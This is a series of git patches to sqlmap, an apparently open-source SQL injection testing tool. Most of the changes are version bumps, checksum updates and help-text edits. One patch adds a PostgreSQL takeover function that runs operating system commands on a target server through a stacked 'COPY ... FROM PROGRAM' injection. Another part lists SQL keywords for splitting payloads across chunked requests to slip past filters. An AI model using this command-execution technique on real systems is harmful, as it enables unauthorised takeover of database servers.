d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d89a43c92f2995116fce16b0e00e8aff lib/core/settings.py +728fe41a387ae86ee7eaee259bb2b078 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py From 46ee69023eb3d3245c0253ff74653b122707537b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Mar 2019 14:48:12 +0100 Subject: [PATCH 158/800] Minor updates (#3536) --- doc/THANKS.md | 3 +++ lib/core/settings.py | 4 ++-- lib/parse/cmdline.py | 2 +- sqlmap.conf | 2 +- txt/checksum.md5 | 4 ++-- 5 files changed, 9 insertions(+), 6 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index e9eb7456d55..a733aa3ce17 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -764,6 +764,9 @@ ultramegaman, <seclists(at)ultramegaman.com> Vinicius, <viniciusmaxdaloop(at)gmail.com> * for reporting a minor bug +w8ay +* for contributing an implementation for chunked transfer-encoding (switch --chunked) + wanglei, <wanglei(at)17uxi.cn> * for reporting a minor bug diff --git a/lib/core/settings.py b/lib/core/settings.py index e3a116d0469..348b26b8dd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.33" +VERSION = "1.3.3.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -794,7 +794,7 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" -# SQL keywords used for splitting in HTTP Chunked encoding (switch --chunk) +# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") # CSS style used in HTML dump format diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 84dd99c0a70..12478af23e3 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -216,7 +216,7 @@ def cmdLineParser(argv=None): help="Force usage of SSL/HTTPS") request.add_option("--chunked", dest="chunked", action="store_true", - help="Use HTTP Chunked transfer encoding method") + help="Use HTTP chunked transfer encoded (POST) requests") request.add_option("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") diff --git a/sqlmap.conf b/sqlmap.conf index db224c46b7d..7dff98c3f99 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -190,7 +190,7 @@ csrfUrl = # Valid: True or False forceSSL = False -# Use HTTP Chunked transfer encoding method. +# Use HTTP chunked transfer encoded requests. # Valid: True or False chunked = False diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 3bc11cd8a31..9efe55891c2 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -728fe41a387ae86ee7eaee259bb2b078 lib/core/settings.py +5721a679b6d62ad8fe5aa7c9934c1a80 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -61,7 +61,7 @@ d6269c55789f78cf707e09a0f5b45443 lib/core/session.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -79777f4f934f3b0a436fdd6600f7d3b8 lib/parse/cmdline.py +3d8163ecaa25321c87241368b97bb79f lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py d34df646508c2dceb25205e1316673d1 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py From e4d4861232423367d11f4044e1a60b8c44fb5921 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Mar 2019 15:11:38 +0100 Subject: [PATCH 159/800] Minor update --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 348b26b8dd2..857982f3764 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.34" +VERSION = "1.3.3.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4d29ee4e033..b25ad4df44c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -277,7 +277,7 @@ def getPage(**kwargs): if multipart: post = multipart - if chunked: + if chunked and post: post = urllib.unquote(post) post = chunkSplitPostData(post) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9efe55891c2..7031ef05bfb 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -5721a679b6d62ad8fe5aa7c9934c1a80 lib/core/settings.py +faf699cfc681672d8bfd80c18b0d96df lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -73,7 +73,7 @@ e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py bd4b654767eab19cd4dcd4520a68eed5 lib/request/basic.py caa52d249fbcf1705cd9208b84d93387 lib/request/chunkedhandler.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -f44c5d2716317a0dfa024c98ce4865e9 lib/request/connect.py +ea6610ed5557f263cb7a6075732461ce lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From aa1020a3d1cc71532e68067fbbb99e5152bdf5ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Mar 2019 15:23:11 +0100 Subject: [PATCH 160/800] Minor update --- .gitattributes | 2 ++ lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/.gitattributes b/.gitattributes index 806cf1b9a63..dd5ba8f8848 100644 --- a/.gitattributes +++ b/.gitattributes @@ -3,6 +3,8 @@ *.md5 text eol=lf *.py text eol=lf *.xml text eol=lf +LICENSE text eol=lf +COMMITMENT text eol=lf *_ binary *.dll binary diff --git a/lib/core/settings.py b/lib/core/settings.py index 857982f3764..494b4ef42eb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.35" +VERSION = "1.3.3.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7031ef05bfb..b1da12764f0 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -faf699cfc681672d8bfd80c18b0d96df lib/core/settings.py +94a1fd458bf3c9ced052707b8b5e447d lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py From bf3edcfc1c4856b87833e1a2a889204077ad6c81 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 20 Mar 2019 11:33:10 +0100 Subject: [PATCH 161/800] Fixes #3542 --- lib/controller/checks.py | 13 +++++++++---- lib/core/settings.py | 2 +- lib/request/connect.py | 25 ++++++++++++++----------- txt/checksum.md5 | 6 +++--- 4 files changed, 27 insertions(+), 19 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 39312a5c67e..821b1082170 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1337,6 +1337,9 @@ def checkWaf(): if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): return None + if kb.originalCode == httplib.NOT_FOUND: + return None + _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) if _ is not None: if _: @@ -1544,6 +1547,8 @@ def checkNullConnection(): return kb.nullConnection is not None def checkConnection(suppressOutput=False): + threadData = getCurrentThreadData() + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): try: @@ -1568,8 +1573,7 @@ def checkConnection(suppressOutput=False): try: kb.originalPageTime = time.time() - page, headers, _ = Request.queryPage(content=True, noteResponseTime=False) - kb.originalPage = kb.pageTemplate = page + Request.queryPage(content=True, noteResponseTime=False) kb.errorIsNone = False @@ -1592,8 +1596,6 @@ def checkConnection(suppressOutput=False): else: kb.errorIsNone = True - threadData = getCurrentThreadData() - if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]: conf.url = re.sub(r"https?://", "https://", conf.url) @@ -1624,6 +1626,9 @@ def checkConnection(suppressOutput=False): kb.ignoreNotFound = True else: raise + finally: + kb.originalPage = kb.pageTemplate = threadData.lastPage + kb.originalCode = threadData.lastCode return True diff --git a/lib/core/settings.py b/lib/core/settings.py index 494b4ef42eb..e99ec3cb60d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.36" +VERSION = "1.3.3.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index b25ad4df44c..c07b1bd023b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -753,15 +753,19 @@ class _(dict): page = unicode(page, errors="ignore") else: page = getUnicode(page) - socket.setdefaulttimeout(conf.timeout) - for function in kb.preprocessFunctions: - try: - page, responseHeaders, code = function(page, responseHeaders, code) - except Exception as ex: - errMsg = "error occurred while running preprocess " - errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) - raise SqlmapGenericException(errMsg) + for function in kb.preprocessFunctions: + try: + page, responseHeaders, code = function(page, responseHeaders, code) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + + threadData.lastPage = page + threadData.lastCode = code + + socket.setdefaulttimeout(conf.timeout) processResponse(page, responseHeaders, status) @@ -1309,10 +1313,9 @@ def _(value): page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) - threadData.lastPage = page - threadData.lastCode = code - kb.originalCode = kb.originalCode or code + kb.originalCode = code if kb.originalCode is None else kb.originalCode + kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 diff --git a/txt/checksum.md5 b/txt/checksum.md5 index b1da12764f0..779a136bc88 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -24,7 +24,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py 4dc5e7c5400204159baaf10a0a9124f0 extra/wafdetectify/wafdetectify.py e6909a3b32fc09c0373101eb58c76538 lib/controller/action.py -0fce185e63b1b743b3ef0a3dbe640366 lib/controller/checks.py +e51ec20c402d53c3cbcae0b6bd71bd5d lib/controller/checks.py 8581acf56b8fb0def50af3707490a834 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -94a1fd458bf3c9ced052707b8b5e447d lib/core/settings.py +63db6d32f98705fc0240aaeeff88ef0d lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -73,7 +73,7 @@ e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py bd4b654767eab19cd4dcd4520a68eed5 lib/request/basic.py caa52d249fbcf1705cd9208b84d93387 lib/request/chunkedhandler.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -ea6610ed5557f263cb7a6075732461ce lib/request/connect.py +ff54b009d9aaa8199888615dacaf0c43 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 8de2700edca58a03af16cbd8088505a58b136a9b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 20 Mar 2019 12:01:24 +0100 Subject: [PATCH 162/800] Fixes #3543 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7be6dde33fa..d5d00aee127 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2406,7 +2406,7 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.chunked and not any((conf.data, conf.requestFile)): - errMsg = "switch '--chunked' requires usage of option '--data' or '-r'" + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: diff --git a/lib/core/settings.py b/lib/core/settings.py index e99ec3cb60d..502d7688b60 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.37" +VERSION = "1.3.3.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 779a136bc88..59360625b2a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -43,14 +43,14 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 2f474c3c7a56f0c3cf3371838e7e5fd4 lib/core/optiondict.py -e9b27d7328a8da0b48a908f0112c7745 lib/core/option.py +2880febde87765f0aeb2e42da3648d75 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -63db6d32f98705fc0240aaeeff88ef0d lib/core/settings.py +c62a4d131f4a69549b277ab49e712075 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py From 14186d315017a6a061920f994fb041a48fb92f46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 20 Mar 2019 13:26:53 +0100 Subject: [PATCH 163/800] Dumping checksum.md5 (The king is dead, long live the king) --- lib/core/common.py | 21 ++++++++++----------- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 19d7ae72d1a..509b87e8bd5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1277,6 +1277,7 @@ def setPaths(rootPath): paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs") paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") + paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") @@ -1308,7 +1309,6 @@ def setPaths(rootPath): paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst") # sqlmap files - paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') @@ -1327,7 +1327,7 @@ def setPaths(rootPath): paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") for path in paths.values(): - if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")): + if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): checkFile(path) def weAreFrozen(): @@ -3394,15 +3394,14 @@ def checkIntegrity(): retVal = True - if os.path.isfile(paths.CHECKSUM_MD5): - for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): - path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) - if not os.path.isfile(path): - logger.error("missing file detected '%s'" % path) - retVal = False - elif md5File(path) != checksum: - logger.error("wrong checksum of file '%s' detected" % path) - retVal = False + baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + for root, dirnames, filenames in os.walk(paths.SQLMAP_ROOT_PATH): + for filename in filenames: + if re.search(r"(\.py|\.xml|_)\Z", filename): + filepath = os.path.join(root, filename) + if os.path.getmtime(filepath) > baseTime: + logger.error("wrong modification time of '%s'" % filepath) + retVal = False return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 502d7688b60..fb02d01cf88 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.38" +VERSION = "1.3.3.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 59360625b2a..c83b704f99e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -223a6eb9dab49bbc3f322235b0f76eeb lib/core/common.py +b9ba702c5af857c0188104c9fbd5d56b lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c62a4d131f4a69549b277ab49e712075 lib/core/settings.py +e785996e0f9edd8e309094048dc40d05 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py From ef5cb9a4606b863b5dd2ac5bf45472c877256943 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Mar 2019 13:57:17 +0100 Subject: [PATCH 164/800] In preparation for #3545 --- lib/core/settings.py | 2 +- plugins/dbms/postgresql/takeover.py | 12 ++++++++++++ txt/checksum.md5 | 4 ++-- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fb02d01cf88..384b7c943e8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.39" +VERSION = "1.3.3.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 13edbbce162..3af69331a26 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -102,3 +102,15 @@ def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) + + def copyExecCmd(self, cmd): + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + return output diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c83b704f99e..df76c6faa8d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -e785996e0f9edd8e309094048dc40d05 lib/core/settings.py +068159b771eef31a3852da30eba31ccd lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -199,7 +199,7 @@ d68b5a9d6e608f15fbe2c520613ece4a plugins/dbms/postgresql/filesystem.py a2ac0498d89797041bf65e4990cf8430 plugins/dbms/postgresql/fingerprint.py fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py 290ea28e1215565d9d12ede3422a4dcf plugins/dbms/postgresql/syntax.py -339bc65824b5c946ec40a12cd0257df1 plugins/dbms/postgresql/takeover.py +cee109ef785cd1ebbc1df5311246094d plugins/dbms/postgresql/takeover.py 014968f7b28abe3ca8e533843a017453 plugins/dbms/sqlite/connector.py 6a0784e3ce46b6aa23dde813c6bc177f plugins/dbms/sqlite/enumeration.py 3c0adec05071fbe655a9c2c7afe52721 plugins/dbms/sqlite/filesystem.py From 5a71210c8aad98c4f6434b6593c83be77b747338 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Mar 2019 14:00:09 +0100 Subject: [PATCH 165/800] Update regarding #2940 (PEP 394) --- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/icmpsh/__init__.py | 2 +- extra/icmpsh/icmpsh_m.py | 2 +- extra/safe2bin/__init__.py | 2 +- extra/safe2bin/safe2bin.py | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/newlines.py | 2 +- extra/shutils/pylint.py | 2 +- extra/shutils/regressiontest.py | 2 +- extra/sqlharvest/__init__.py | 2 +- extra/sqlharvest/sqlharvest.py | 2 +- extra/wafdetectify/__init__.py | 2 +- extra/wafdetectify/wafdetectify.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 4 +- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- 